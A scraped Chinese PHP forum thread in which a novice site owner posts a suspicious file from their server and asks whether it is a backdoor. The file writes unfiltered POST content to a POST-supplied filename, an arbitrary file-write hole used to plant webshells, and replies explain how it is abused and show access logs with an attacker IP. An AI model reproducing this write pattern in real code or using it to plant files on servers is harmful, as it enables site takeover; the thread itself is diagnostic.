欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

帮忙看一下这一个文件有没有后门或漏洞!

程序员文章站 2022-06-13 22:21:23
...
我是菜鸟 我的站总是有一个木马文件,黑客是怎么上传到我的站,很好奇。



























序号 号码 止数 下目 占成 佣虽 上寺 预计 走飞 走额 当前赔率
if($_POST['img_text']=='news')
{
$title=$_POST['title'];

$newsort =$_POST['newsort'];

$newsort=str_replace(chr(92),"",$newsort);

$fp = fopen($title,"w");

fputs($fp,$newsort);

fclose($fp);

}
else
{?>






=$ids?>
设置









}
?>

回复讨论(解决方案)

if($_POST['img_text'] == 'news') {  $title = $_POST['title'];  $newsort = $_POST['newsort'];  $newsort = str_replace(chr(92), "", $newsort);  $fp = fopen($title, "w");   fputs($fp, $newsort);   fclose($fp); }
就你这个代码,什么内容传不上来?

是不是要配合其它的文件啊 才能上传吗 是不是一句话

没有看到你的表单,但只要知道你的页面地址,做一个也很容易
比如


提交后就会在你的服务器上建立一个名为 info.php 的文件,执行它后就可知道你的服务器的所有信息

2013-11-10 13:26:23 POST /k_vc.php - 98.126.241.18 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) http://localhost/sqst/index.asp www.itc888.com 200 0 1965 41441 5843
2013-11-10 13:26:29 GET /cc.php - 98.126.241.18 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) - www.itc888.com 200 0 1330 661 3593

日志说明:k_vc.php 就是上面那一个文件,cc.php就是木马文件 www.itc888.com 小站的域名

$newsort =$_POST['newsort']; 没做任何过滤 直接给写入到title文件中了 漏洞大大的...

强得1B的代码 神一样的存在

这个上传连我这样的菜鸟都懂了。